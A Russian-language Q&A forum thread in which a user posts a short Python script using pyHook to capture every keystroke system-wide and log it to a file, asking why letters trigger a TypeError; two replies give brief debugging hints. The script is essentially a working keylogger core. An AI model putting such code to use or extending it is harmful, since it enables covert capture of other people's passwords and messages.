Задать вопрос
@valo1114
Python coder

Что не так с программой?

Реагирует на цифры корректно , а на буквы нет . Как справить?

import pyHook
import pythoncom
import win32gui
import win32console
import pyHook, pythoncom, sys, logging

file_log = 'file.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log,level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()


Реакция на буквы
TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'
  • Вопрос задан
  • 1013 просмотров
Подписаться 2 Оценить 1 комментарий
Пригласить эксперта
Ответы на вопрос 2
sim3x
@sim3x
где-то есть функция KeyboardSwitch() в которую не передаются аргументы
Ответ написан
Комментировать
TomasHuk
@TomasHuk
У меня тоже была такая проблема. И осталась.
На борту Win7 и python 3.3. Ваша программа запускается, работает, но не пишет в лог символы кириллицы. Английские буквы и цифры пишет нормально.
Был похожий вопрос. Посмотрите мой ответ там.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы